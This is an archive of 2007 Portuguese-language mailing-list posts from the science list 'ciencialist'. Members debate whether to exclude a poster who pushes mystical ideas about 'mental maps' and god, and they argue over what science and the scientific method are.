ou só para ridicularizar alguns deles. E todos rimos e nos fartamos
até que o fel de nosso preconceito escorra farto pelos cantos de
nossas bocas. A lista também não tem essa proposta, mas nesses
momentos somos condescendentes com o princípio de que ridicularizar o
outro é um princípio básico da boa piada.

O Alberto, desde que o conheço, está aqui defendendo sua teoria
(indemonstrável) sobre a bobagem quântica e, na sua visão, a
necessidade de uma nova teoria baseada no "espírito da matéria" de
Newton. Há os pró e os contra a teoria quântica e eu nunca vi um
debate desses terminar em alguma conclusão, ou seja, ambos estão
certos, ou ambos errados, ou qualuqer coisa entre isso e o princípio
da incerteza, mas o que todos querem é só alfinetar posições opostas.

Você e eu fazemos, por vezes, alguma apologia ao ceticismo e ao
materialismo. Eu ainda tenho o agravante de lidar com questões
"educacionais" que não tem absolutamente nenhuma relação com o
propósito da lista. Vivo solicitando opiniões sobre um tal curso de
Física Básica online para alunos medíocres do Ensino Médio público.

De memória, lembro do Brudna, que não por coincidência é o dono da
lista e pouco se manifesta nela, que se mantém mais focado nos
"objetivos" da lista. E só se mantém focado enquanto e prquanto não
debate nada ou muito pouco. ;)

Nem mesmo Takata San consegue se manter focado na ciência e se vive se
metendo em discussões por vezes quase metafísicas sobre seus pontos de
vista.

Silvio Renato faz apologia anti-lula e dezenas de outros poderiam ser
citados da mesma forma. Veja que estou dando ênfase o "Staff", digamos
assim, que é para deixar bem claro que os deuses também pecam e, por
serem deuses, seus pecados são muito mais onipresentes e poucocientes.

Eu não só nada tenho conta todos os citados acima, que considero meus
amigos e os aprecio muito, como acho que suas atuações em nada
denigrem a lista ou a eles próprios, muito pelo contrário, ainda que
estejam também fora do foco da lista. E veja que estou explicitamente
nos incluindo nisso, e incluo também essas mensagens sobre isso que
estmaos trocando agora.

Mas quando você diz "Ninguém assina uma lista como esta sem ter em
mente esse desejo pessoal, conversar, de forma lógica, racional e
coerente, sobre ciência." você dá um tiro no próprio pé, pois Ferrari
assinou a lista e está aqui há muito tempo. Se ele vive viajando ou
não na maionese é outro problema, mas que nada tem a ver com o desejo
dele (que, como desejo e, por definição, pessoal e subjetivo, nunca
será verdadeiramente de nosso conhecimento - e veja que nem vou entrar
no mérito metafísico da teoria do conhecimento).

Eu penso que episódios como esse servem para nos mostrar bem mais
claramente como somos intolerantes e preconceituosos. Incapazes de
lidar com pessoas que não pensam como nós e que nem virão a pensar
assim nunca, simlesmente optamos por "exclui-los". Não vejo nenhum
argumento que possa negar esse fato, pois é fato que alguém pediu a
exclusão do Ferrari justamente por não pensar "cientificamente" e nem
demonstrar "possibilidade de ser convertido a tal".

Evidentemente que "um Ferrari incomoda muita gente", e incomoda mesmo,
mas creio que esse incômodo deva ser absorvido naturalmente pela lista
e não tratado como "pecado", sob pena de termos que rasgar nossos
diplomas e fundarmos uma igrejinha: a igrejinha da C-List, onde você
comunga com o pensamento cético-materialista e aprende os jargãos
cientificos da moda ou... Fogueira!

Eu sou educador, ganho a vida para ensinar tolerância muito mais do
que para ensinar Física. Mantenho minha opinião anterior.

Abraços,
JC




--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá Jose Carlos
>
> Em geral eu costumo concordar com você, praticamente em tudo. Mas
> nesse caso acho que farei algumas observações a sua posição..:-)
>
> Toda lista, sob pena de perder seu significado e função, tem limites.
> Nem sempre são do mesmo tipo, ou se referem as mesmas questões, mas é
> evidente que limites existem em qualquer caso. Por exemplo, quase toda
> lista impede "flood", inundações de mensagens, e spams, mensagens de
> propaganda.
>
> Mas o que define um "flood" ou spam? Uma seqüencia de mensagens sem
> sentido pode ser considerada "flood", mesmo que seu autor "pense" que
> as mesmas tem sentido? E um spam de uma religião? Difere em alguma
> medida de um spam de produto no mercado?
>
> No caso específico da Ciencia-list, penso que não é a pretensão de ser
> uma "lista de referencia", mas o desejo de ser um espaço para debater
> um assunto específico, com uma abordagem específica - ciência e
> cientificamente. Ninguém assina uma lista como esta sem ter em mente
> esse desejo pessoal, conversar, de forma lógica, racional e coerente,
> sobre ciência.
>
> Imagine, para efeito de compreensão do problema, que você assine uma
> lista sobre "Automóveis Antigos". E que durante as duas ou três
> semanas em que recebe as primeiras mensagens, estas são apenas
> discussões e bate bocas sobre a forma mais correta de cozinhar um
> leitão. Quanto tempo levaria para você abandonar a lista?
>
> Eu, como você, gosto muito desta lista, tenho aprendido um bocado, e
> mesmo nas discussões em que lados opostos se confrontam, eu apreciei e
> aprendi, pois a discussão sempre se manteve lógica, coerente e racional.
>
> O que não tem acontecido neste caso com o Ferrari (e as vezes com
> outros, por contaminação). Sim, diversos co-listeiros responderam as
> mensagens do Ferrari, tentando, como bem lembrou o Ricardo, trazer a
> conversa para o lado científico, de argumentos embasados, evidências,
> coerência argumentativa, lógica, razão, etc. Sem sucesso.
>
> Neste momento, eu receberia uma mensagem com coisas como "o que é
> sucesso?", ou "o que é argumento?", ou ainda "lógica é deus, e deus é
> lógica, mas não a lógica humana, limitada, mas uma lógica divina,
> energética, transcedental, capaz de abranger a lógica do universo,
e...".
>
> Assim, fica difícil, impossível mesmo, continuar um debate minimamente
> racional.
>
> Na verdade, as mensagens do Ferrari acabam sendo "flood" apenas, uma
> inundação de coisas sem sentido, como as frases que são geradas por
> mecanismos automáticos de frases aleatórias. Aliás, não sei se não é
> desses mecanismos que o Ferrari tira seus textos..:-)
>
> Confesso que até acho divertido discutir, de vez em quando, motos
> perpétuos, e até mesmo posições e alegações religiosas. O pessoal da
> lista sabe como me empolgo, e como costumo até ser prolixo demais, dar
> corda demais, a estes assuntos.
>
> Mas só é produtivo um debate nessas áreas, se for possível manter a
> razão no discurso. Sem isso, é aflitivo e completamente inútil. Mas,
> "o que é inútil?", e "o que é razão", afinal, não?..:-)
>
> Um grande abraço.
>
> Homero
>




SUBJECT: Re: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa do paradoxo
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 11:04

Hehe... sobrou ateh pro meu lado. :-)

Isso sempre aconteceu. Foram poucas vezes (se houve) que me meti em
longos e interminaveis debates que ocorreram nesta lista.

Quem sabe eu mude a tatica. Mas ai a tentativa de ser neutro vai por
agua abaixo. Vou ser acusado de fazer parte de uma panelinha e ser
mais amiguinho deste ou daquele participante da lista. :-)

Ateh
Luis Brudna



On 4/4/07, José Carlos Antonio <profjc2003@yahoo.com.br> wrote:
> De memória, lembro do Brudna, que não por coincidência é o dono da
> lista e pouco se manifesta nela, que se mantém mais focado nos
> "objetivos" da lista. E só se mantém focado enquanto e prquanto não
> debate nada ou muito pouco. ;)
>
> Abraços,
> JC
>


SUBJECT: Re: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa do paradoxo
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/04/2007 11:32

Izé:
O Brudna manter a ciencialist é um mérito que sobreleva qualquer comentário que se possa fazer justa ou injustamente sobre êle. A contribuição do Deus, do meste Takata e tantos outros, nos tráz informações da melhor qualidade sobre o mundo em que vivemos,
É um exemplo a ser copiado, se houver competência para isso. Atualmente a moderação, que tanto já, justamente, pegou no meu pé, atualmente está um tanto leniente: Acredito que o ideário básico da lista deve ser mantido, mantendo a alta qualidade dos comentários (mas permitindo uns off-toppic eventuais para adoçar o dia...)

sds.,
silvio
----- Original Message -----
From: Luis Brudna
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 04, 2007 11:04 AM
Subject: Re: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa do paradoxo


Hehe... sobrou ateh pro meu lado. :-)

Isso sempre aconteceu. Foram poucas vezes (se houve) que me meti em
longos e interminaveis debates que ocorreram nesta lista.

Quem sabe eu mude a tatica. Mas ai a tentativa de ser neutro vai por
agua abaixo. Vou ser acusado de fazer parte de uma panelinha e ser
mais amiguinho deste ou daquele participante da lista. :-)

Ateh
Luis Brudna

On 4/4/07, José Carlos Antonio <profjc2003@yahoo.com.br> wrote:
> De memória, lembro do Brudna, que não por coincidência é o dono da
> lista e pouco se manifesta nela, que se mantém mais focado nos
> "objetivos" da lista. E só se mantém focado enquanto e prquanto não
> debate nada ou muito pouco. ;)
>
> Abraços,
> JC
>





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Version: 7.5.446 / Virus Database: 268.18.24/742 - Release Date: 1/4/2007 20:49


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/04/2007 11:45

Takata:
O amigo Ferrari, quando cita "broa de milho" o faz movido pelo alto incômodo causado por azia, sub produto do citado quitute.

sds.,
silvio
----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 11:51 AM
Subject: [ciencialist] Re: Takata: Sobre o Método Cientifico - Mapa mental


--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Mas se vc não quer nem pensar em responder as
> perguntas, o que posso fazer?

Não sou eu quem não quero pensar, lembre-se eu não controlo meus
pensamentos.

> --- Estou indo mais a fundo do que isto. Estou disendo
> que algo te faz pensar que existe uma separação entre
> vc e a broa de milho. Algo te faz pensar que são
> coisas distintas: eu (takata) não sou o outro (broa de
> milho).

Não importa. O q importa é q estou pensando q estou comendo broa de
milho, mas não estou saciando a minha fome. Meu mapa mental foi
alterado, sem q isso corresponda a algo real.

> Takata >>> A realidade não é apenas um mapa mental.
>
> --- Takata, nisto já concordamos. O mapa sempre é de
> um território. Se não tem território, como fazer um
> mapa do nada? Impossivel. A realidade é o território
> desconhecido. É o corpo de deus.

Não traz nenhuma informação chamar o desconhecido de deus. É como
chamar palitos de dentes de deus.

[]s,

Roberto Takata






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Checked by AVG Free Edition.
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 12:13

Olá Takata!

Takata >>> Não sou eu quem não quero pensar, lembre-se
eu não controlo meus pensamentos.

--- Takata, assim não vale nada, porque vc está apenas
repetindo algo que eu disse, sem consciencia do que vc
está dizendo. Assim é apenas crença. E vc não quer ser
um crente, quer? Quando vc diser o que disse com
consciencia, ai assim vale. Mas ai vc não precisará
mais das minhas pergutas e contestações, pois vc já
terá investigado e compreendido por si só.

Takata >>> Não importa. O q importa é q estou pensando
q estou comendo broa de milho, mas não estou saciando
a minha fome.

--- Takata, o que vc chama de takata e o que vc chama
de broa de milho, estão em mapas mentais diferetes?
Existem em tempos diferentes? Não, não é? No mesmo
instante em que existe o mapa do takata também existe
o mapa da broa, não é? Vc pode recortar as partes do
mapa, surgem duas "partes": recorte-Takata,
recorte-Broa. Mas as duas partes estão sendo
recortadas do mesmo mapa, de um mapa só. Porém, quando
vc diz:

Takata >>> O q importa é q estou pensando

--- O que vc faz aqui? Vc exclui o takata do mapa! Vc
dá ao takata um existencia fora do mapa, o que não é
verdade. O takata e a broa são apenas "recortes"
distintos de um mesmo mapa. Percebe isto? Esta é a
base do seu equivico. Enquanto vc não perceber isto
não tem como vc se livrar do truque do materialismo.
Vc vai continuar confundindo "forma" com "conteúdo" e
vice-versa. Sei que vc quer resolver isto. Como sei.
Pela forma como vc pensa. Se vc for até o blog que
estou construindo, a lampada de aladim:

http://lampadadealadim.blogspot.com

se vc ler o post "o pão nosso de cada dia", vai
entender porque a realidade da transformação se
confunte com o truque da evolução. A evolução é um
mapa mental, a realidade é a tranformação.

Takata >>> Não traz nenhuma informação chamar o
desconhecido de deus.

--- Engano seu. Olha só o que causou na lista! Como
lhe disse, é um recurso sementico destinado a criar na
mente das pessoas pensamentos analogicos.

Takata >>> É como chamar palitos de dentes de deus.

--- Se vc, ai dizer isto, tiver um objetivo analogico,
concordo. Se não tiver este objetivo, descordo.

sinceramente
ferrari




- - - - - - - - - - - - - - -

EXPERIMENTE XIXI COM TINTA
O novo livro de Marcelo Ferrari:
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Para receber meus textos inéditos, envie um email para:
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SUBJECT: Re: Homero: Tinha um Cientista no Meio do Caminho
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 12:24

Olá Homero!

Já que vc é materialista, vamos por particulas:

1) O texto que postei não foi escrito por mim.

2) Pra vc que se julga "o" cientista, vamos aos fatos.

3) Fato: tem algo no texto que lhe incomodada
profundamente.

4) Vc sabe o que? Eu sei.

5) Fato: Vc mesmo disse que não ia mais falar comigo.

6) Fato: Mas vc não resistiu.

7) Sabe porque? Eu sei.



sinceramente
ferrari












--- oraculo333 <oraculo@atibaia.com.br> escreveu:

> Olá Ferrari
>
> O texto que postou demonstra um profundo
> desconhecimento sobre
> ciência, lógica, razão, pensamento coerente,
> pensamento crítico, e
> outras ferramentas cognitivas. Nem sei por onde
> começar, de tão
> simplório e falacioso..:-)
>
> Bem, primeiro, cientistas de TV NÃO são cientistas
> de verdade, mas
> imagens midiáticas, sem relação com a ciência
> propriamente dita. Se
> existem, é porque mesmo os MAIS tolos percebem
> claramente que o
> conhecimento científico é mais EFICAZ e mais correto
> que qualquer outro.
>
> Por isso a ligação com comerciais e alegações. Na
> verdade, mesmo as
> mais absurdas pseudociências, e mesmo sua fé tola e
> sem base, precisam
> usar termos "científicos", precisam alegar serem
> "cientificamente
> provadas", ou não se consideram capazes de
> convencer.
>
> Mas o conhecimento científico NÃO é válido por ser
> "feito por
> cientistas". Não é nos cientistas que se "acredita",
> ou melhor, que se
> confia nas conclusões, mas no método que foi
> utilizado para produzir
> essas conclusões.
>
> Tem razão, não perguntamos ao médico como o
> tratamento ou droga que
> ele receita foi produzido. Está implícito no sistema
> que foi produzido
> pelo mesmo método que produz carros mais seguros,
> satélites
> geo-estacionários, redes de computadores mundiais,
> que aumentou a
> expectativa de vida em mais de 3 vezes (de menos de
> 30 de nossos
> antepassados, para mais de 85 anos), e toda profusão
> de conehcimento a
> nossa volta.
>
> E mesmo essa presunção pode ser suspensa, se o
> médico demonstrar estar
> "fora" desse padrão, e será punido pelos órgãos
> encarregados de
> fiscalizar os médicos.
>
> É uma confiança embasada em eficácia,
> confiabilidade, decorrente do
> método com que conclusões e conhecimento é
> produzido, não nos médicos
> ou mesmo nos cientistas.
>
> Na verdade, refutar uma alegação de um cientista
> costuma ganhar
> prêmios, como o Nobel, pois AUMENTAM nosso
> conhecimento do mundo e a
> confiabilidade desse conhecimento.
>
> |Você só pode escrever as asneiras que escreve, e
> envia-las para um
> monte de pessoas, porque a ciência que embasa seu
> computador, os
> satélites, os softwares, o eletromagnetismo, a
> relatividade, etc, etc,
> etc, são muito próximas da verdade, de serem reais.
>
> Se dependesse apenas de sua "fé" em tolices como as
> que apresenta
> (deuses, mapas mentais, e outras bobagens), estaria
> falando sozinho
> até agora.
>
> Por isso você, que não "acredita no mito da
> ciência", usa a ciência,
> se beneficia desta, para viver melhor, mais tempo,
> com menos doenças e
> dor, com mais conforto e uma enorme expectativa de
> vida, para tentar
> convencer outros de seus absurdos, e não sua
> divindade maluca e sem
> evidências.
>
> É um profundo desconhecimento do que é ciência e
> conhecimento
> confiável, uma ignorância feliz e cega em bobagens
> esotéricas.
>
> É evidente para QUALQUER pessoas com mais de 3
> neurônios, que um
> sistema de validação tem de existir, em termos de
> acumular
> conhecimento confiável, pois seria claramente
> IMPOSSÍVEL re-verificar
> todo conhecimento, toda ciência, toda informação,
> toda conclusão,
> antes de agir. Verificar, por exemplo, se os
> sistemas de freio ABS são
> mesmo seguros como os testes de laboratório indicam,
> antes de comprar
> e usar um automóvel (cada cidadão que comprasse um
> automóvel), ou
> refazer todos os extensos testes de laboratório para
> novos
> medicamentos (levam anos para desenvolver um
> medicamento seguro e
> confiável).
>
> Antes de vacinar seus filhos, teria de refazer as
> décadas de estudos
> com vacinas, para se garantir que são capazes de
> evitar a contaminação.
>
> É uma estupidez evidente.
>
> Por isso um método de verificação foi criado e é
> aperfeiçoado a cada
> dia. Por isso antes de publicar em uma revista
> científica, cada estudo
> é testado, replicado, refeito, por cientistas, o que
> inclui os que tem
> dúvidas ou discordam do estudo inicial, até a
> exaustão. Só depois é
> publicado, o que nos garante que um bocado de gente
> se dedicou a
> analisar e um bocado de esforço foi feito para
> verificar a questão.
>
> Confia-se no método, não nos cientistas (como você
> confia no Papa e na
> Biblia). E só se confia, porque esse método tem
> demonstrado ser eficaz
> (olhe em volta, Ferrari, e tente encontrar algo que
> NÃO deriva do
> método), seguro, e produzir dados consistentes.
>
> Apresente um método alternativo que seja tão capaz
> quanto o método
> científico, e abandonamos na hora e adotamos o seu.
> Mas se tudo o que
> tem é uma f´pe tola e cega, não vai dar. Nem você
> está disposto a
> abandonar os sucessos da ciência (por exemplo, pare
> de usar
> computadores e passe a propagar suas mensagens por
> telepatia, rezas ou
> forças divinas..:-).
>
> Um cientista afirma algo. Você parece pensar, com
> extrema ingenuidade
> e ignorância, que imediatamente todos os outros
> cientistas aceitam e
> passam a "acreditar" na alegação, pois foi dita por
> um "cientista".
>
> O erro é crasso. Mesmo cientistas tem de passar pelo
> método. Na
> verdade, é um cientista SE passar pelo método. Por
> exemplo, se um
> cientista, um grupo de cientistas, afirmar que pode
> produzir fusão em
> temperaturas ambientes, fusão à frio, ele tem de
> PROVAR isso.
>
> Se os outros cientistas, e outros laboratórios, que
> irão replicar,
> analisar e criticar essa alegação, não puderem
> encontrar evidências
> reais, será descartada.
>
> E foi. Uma alegação de cientistas que foi
> descartada, como muitas, por
> ser incapaz de produzir evidências sólidas.
>
> Toda alegação atual da ciência passou por dúvidas,
> críticas ferozes,
> análises profundas, antes de ser aceita. Seja a
> Teoria da Deriva dos
> Continentes, recusada por décadas por falta de
> evidências, seja a
> micro-biologia, que teve de esperar anos para ser
> aceita (e levou
> Pasteur, um cientista consagrado, ao limite do
> escárnio).
>
> Confiamos na micro-biologia, porque este
> conhecimento passou por
> rigoroso teste, de décadas, e se demonstrou correto,
> e sobreviveu a
> todos os ataques. Não, como parece pensar (ou NÃO
> pensar) porque foi
> produzido por cientistas.
>
> Ferrari: "Afinal de contas, para que
> > serve a nossa cabeça? Ainda podemos pensar?
> Adianta
> > pensar?"
>
> Sim, seria bom que aprendesse a pensar, no lugar de
> acreditar em
> tolices simplórias da religião, e em bobagens
> esotéricas, jogos de
> palavras com termos que não compreende como
> "energia", campos,
> matéria, etc. Seria excelente que abandonasse a
> postura bobo alegre e
> pensasse de verdade, com a razão, não com o desejo
> pessoal de validar
> uma fé cega em seres imaginários.
>
> Ferrari: "É necessário acabar com o mito de que o
> cientista é uma
> pessoa que pensa melhor do que as outras."
>
> Esse "mito" só existe em sua cabeça. O cientista é
> qualquer pessoa que
> aplique a um conhecimento o método, rigoroso,
> científico, criado para
> ajudar a produzir conehcimento confiável, apesar dos
> defeitos e erros
> de nossa mente e sentidos.
>
> Até um idiota pode produzir conehcimento científico,
> até você pode
> produzir conehcimento científico, se usar o método,
> se seus estudos se
> submeterem a este, se sobreviver ao rigoroso
> escrutínio de sistemas de
> análise e crítica deste método.
>
> Ferrari: "O fato
> > de uma pessoa ser muito boa para jogar xadrez não
> > significa que ela seja mais inteligente do que os
> > não-jogadores. Você pode ser um especialista em
> > resolver quebra-cabeças. Isto não o torna mais
> > capacitado na arte de pensar."
>
> Outro texto "de impacto" e totalmente irrelevante,
> tolo e sem sentido
> para a discussão. e daí? O que isso significa? Mais
> uma "frase" que
> ouviu sem entender a que se aplica, como a maioria
> de seus chavões e
> frases feitas.
>
> Seu ataque a ciência é uma bobagem! Não existe a
> "ciência" que pensa
> atacar, não existem os "cientistas" que pensa
> atacar! Existe um
> método, um conjunto de procedimentos e estruturas
> que nos permitiu
> filtrar realidade de imaginação, seres imaginários
> de seres reais, e
> que resulta em tanta confiabilidade que mesmo você,
> sem entender nada
> de nada, usa os resultados desses processos para
> viver e se expressar.
>
> Um idiota, se usar o método, pode produzir
> conhecimento que será
> aceito, um genio, cientista, jogador de xadrez em
> nível de mestre, com
> QI de 180, pode ter sua alegação recusada por não
> sobreviver ao método.
>
> O resto é uma viagem sem sentido de imaginação, o
> que você "imagina"
> que seja ciência, "imagina" que sejam cientistas",
> "imagina" que seja
> o universo e suas divindades inexistentes.
>
> Sua diatribe contra a ciência é um dos textos mais
> tolos que já tive a
> oportunidade de ler. Nunca o termo "sem noção" foi
> tão bem aplicado..:-)
>
> Homero
>
>
>
>
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, Ferrari
> <emailferrari@...> escreveu
> >
> > Veja as imagens da ciência e do cientista que
> aparecem
> > na televisão. Os agentes de propaganda não são
> bobos.
> > Se eles usam tais imagens é porque eles sabem que
> elas
> > são eficientes para desencadear decisões e
> > comportamentos. É o que foi dito antes: cientista
> tem
> > autoridade, sabe sobre o que está falando e os
> outros
> > devem ouvi-lo e obedecê-lo.
> >
> > Daí que imagem de ciência e cientista pode e é
> usada
> > para ajudar a vender cigarro. Veja, por exemplo,
> os
> > novos tipos de cigarro, produzidos
> cientificamente. E
> > os laboratórios, microscópios e cientistas de
> aventais
> > imaculadamente brancos enchem os olhos e a cabeça
> dos
> > telespectadores. E há cientistas que anunciam
> pasta de
> > dente, remédios para caspa, varizes, e assim por
> > diante.
> >
> > O cientista virou um mito. E todo mito é perigoso,
> > porque ele induz o comportamento e inibe o
> pensamento.
> > Este é um dos resultados engraçados (e trágicos)
> da
> > ciência. Se existe uma classe especializada em
> pensar
> > de maneira correta (os cientistas), os outros
> > indivíduos são liberados da obrigação de pensar e
> > podem simplesmente fazer o que os cientistas
> mandam.
> >
> > Quando o médico lhe dá uma receita você faz
> perguntas?
> > Sabe como os medicamentos funcionam? Será que você
> se
> > pergunta se o médico sabe como os medicamentos
> > funcionam? Ele manda, a gente compra e toma. Não
> > pensamos. Obedecemos. Não precisamos pensar,
> porque
> > acreditamos que há indivíduos especializados e
> > competentes em pensar. Pagamos para que ele pense
> por
> > nós.
> >
> > O que eu disse dos médicos você pode aplicar a
> tudo.
> > Os economistas tomam decisões e temos de obedecer.
> Os
> > engenheiros e urbanistas dizem como devem ser as
> > nossas cidades, e assim acontece. Dizem que o
> álcool
> > será a solução para que nossos automóveis
> continuem a
> > trafegar, e a agricultura se altera para que a
> palavra
> > dos técnicos se cumpra. Afinal de contas, para que
> > serve a nossa cabeça? Ainda podemos pensar?
> Adianta
> > pensar?
> >
> > É necessário acabar com o mito de que o cientista
> é
> > uma pessoa que pensa melhor do que as outras. O
> fato
> > de uma pessoa ser muito boa para jogar xadrez não
> > significa que ela seja mais inteligente do que os
> > não-jogadores. Você pode ser um especialista em
> > resolver quebra-cabeças. Isto não o torna mais
> > capacitado na arte de pensar.
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SUBJECT: Re: [ciencialist] PEDIDO DE EXCLUSAO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 12:33

Se a lista opta por Hard Science nada eu teria a
declarar quanto a moderação do Ferrari. Mas onde isto
está escrito na descrição desta lista??

Quanto a exclusão, é um retrocesso no que tange aos
direitos de um cidadão.

Amplexos Santos :p

--- Luiz Ferraz Netto <leobarretos@uol.com.br>
escreveu:

> Chicão diz:
> "Não concordo com a exclusão nem com a moderação."
> [...]
> "Se a questão é definir o que é ciência e portanto o
> que se deve discutir nessa lista, aí voltamos a
> velha
> e interminável discussão do que seja ciência. Nesse
> caso, acho que não será muito produtivo. Melhor
> mesmo
> é deixar ele falar."
>
> Com a primeira premissa discordo; opto pela
> *exclusão* antecipada pela moderação (já em vigor).
> Comentarei a segunda a justificar minha opção acima.
>
> A C-List opta, com certa mobilidade nos contornos,
> pela Hard-Ciência ou, em jargão de vestibulares,
> Ciências Exatas. Nessa Hard-Ciência conceitua-se
> "existência", "realidade" como a qualidade do que
> existe, do que é *real*. O termo encontra duas
> acepções:
>
> (a) Em geral entende-se por real (concreto,
> tangível), o oposto de ideal (abstrato, pensado).
> (b) Em ciência experimental (o lastro da
> Hard-Ciência) entende-se por real tudo o que é
> concreto e também, no mundo das idéias, tudo o que é
> útil.
>
> Sendo didático, num laboratório de física os
> aparelhos são concretos (dinamômetro, pilha,
> calorímetro etc.), ao passo que os entes físicos,
> mediante os quais se descrevem os processos físicos,
> são abstratos (comprimento, tempo, massa, força,
> energia, rendimento etc.). Uma vez que estes entes,
> embora abstratos, são úteis para descrever,
> classificar, prever manifestações tangíveis da
> matéria, eles são ditos reais.
> Em Física (Hard-Ciência) só se admitem *entes
> abstratos* que sejam *reais*, e para isso eles devem
> exibir duas características imprescindíveis:
> significado físico e, possibilidade de medição.
>
> Entes abstratos *inúteis para a ciência* são
> considerados *irreais*; tais são, por exemplo, as
> "esferas de cristal" de Aristóteles, os "miasmas" da
> Idade Media, o "éter universal" do século 19.
> Concepções com *realidade duvidosa* precisam ser
> marginalizadas enquanto não evoluírem para conceitos
> de comprovada utilidade; é exemplo a "percepção
> extra-sensorial - PES", que esta sendo investigada.
> Há dezenas de outros exemplos de concepções com
> realidade duvidosa em situações piores que a PES,
> são as denominadas *pseudociências*.
>
> Além disso, boa ciência não se faz com terminologia
> relaxada e raciocínio malconexo. Esse é o segundo
> fator que me faz optar pela 'exclusão'.
>
> O terceiro fator que me leva a optar pela medida
> exposta acima relaciona-se, dentro da Hard-Ciência,
> ao *conhecimento*, fator omisso nas 'elucubrações
> ferrarianas'. Sejamos rigoroso:
>
> Conhecimento é conjunto das relações conscientes
> entre idéias e os respectivos objetos (sejam eles
> concretos ou abstratos), formuladas mediante juízos
> subordinados à lógica. O conhecimento pode ser
> vulgar ou cientifico.
> Conhecimento vulgar é individual; compõe-se de
> percepções, de imagens e de recordações. É através
> dos sentidos que nos pomos em contato com o mundo
> físico; do conhecimento vulgar assim adquirido é
> que, por elaboração mental devidamente lastreada,
> surge o conhecimento cientifico.
> Conhecimento científico é aquele que através de
> investigação metódica, escrupulosa e rigorosa,
> suprime tudo o que há de individual e particular no
> conhecimento vulgar; recolhe os elementos comuns a
> uns tantos intelectos e que poderiam ser comuns a
> todos os intelectos. É fato objetivo e sociológico;
> conhecimento coletivo, obra humana, social. Resulta
> de constatar fatos e raciocinar sobre eles visando à
> descoberta de relações invariáveis entre eles (leis
> da natureza).
>
> Vc viu, leu, percebeu algum fundo de conhecimento
> (mesmo vulgar), de conceito de real, de Hard-Ciência
> nos 'textos ferrarianos'?
>
> Assim, justificando minha tomada de posição, opto
> pela 'exclusão', não como um ato de rebeldia contra
> a pessoa "Ferrari" e sim a favor dos 'postulados da
> C-List'.
>
> aquele amplexo,
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br
> ===========================
> -----Mensagem Original-----
> De: "Chicao Valadares"
> <chicaovaladares@yahoo.com.br>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: terça-feira, 3 de abril de 2007 13:36
> Assunto: Re: [ciencialist] PEDIDO DE EXCLUSAO
>
>
> Não concordo com a exclusão nem com a moderação.
> Ele tem todo o direito de expor suas idéias. Se
> vocês
> não querem discutir com ele, tudo bem mas tolhe-lo
> no
> seu direito é demais. Ele não ofendeu ninguem e
> quando
> ofendeu(takata) pediu desculpas. Eu mesmo já venho
> chamando a atenção dele faz tempo para que ele seja
> mais objetivo. Além do mais, quando notei que ele
> estava sendo "ad-hoc" excessivamente simplesmente
> não
> continuei a discussão. Fica aqui meu protesto quanto
> a
> moderação.
> Se a questão é definir o que é ciência e portanto o
> que se deve discutir nessa lista, aí voltamos a
> velha
> e interminável discussão do que seja ciência. Nesse
> caso, acho que não será muito produtivo. Melhor
> mesmo
> é deixar ele falar.
>
> --- Luis Brudna <luisbrudna@gmail.com> escreveu:
>
> > Nao tenho opiniao pronta e resposta magica para
> > este tipo de situacao.
> >
> > Acho mais sensato por em moderacao (o que jah
> foi
> > feito) e aguardar
> > os proximos capitulos.
> >
> > Ateh
> > Luis Brudna - administrador
> >
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 12:49

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> Não sou eu quem não quero pensar, lembre-se
> eu não controlo meus pensamentos.
>
> --- Takata, assim não vale nada, porque vc está apenas
> repetindo algo que eu disse, sem consciencia do que vc
> está dizendo.

O que é "valer"? O que é "consciência"?

[]s,

Roberto Takata



SUBJECT: Re: Jeff: Como funciona o processo...?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 13:20

Olá Jeff!

Jeff >>> Acho que também sou um "proto-hyppie" Meu
objetivo é, um dia, comprar um sítio e poder morar
nele.

--- Nem tudo num sitio é vida boa e fácil. Tirar leite
da teta da vaca, por exemplo, requer maestria de
pianista. Cuidar dos porcos é bem fedorento. E por
mais que vc carpir, o mato teimoso vai sempre voltar a
crescer. Contudo, se a procura cientifica-proto-hyppie
continuar, vou até pensar em lotear uns por aqui.

Jeff >>> Hmmmm... Eu estava reconhecendo as suas
idéias de algum lugar... :-) Você acredita que vivemos
em algo como a Matrix

--- não acredito que vivemos. eu sei que vivo. sei de
mim, o resto é mapa. e não sei que vivo na matrix, sei
que vivo no que vive. Se chamo isto que vive de vida,
de matrix, de deus, de eternidade, de matéria, de sopa
quantica, de eletrons, etc, não muda a realidade disto
que vive, é apenas um recurso semantico. Não
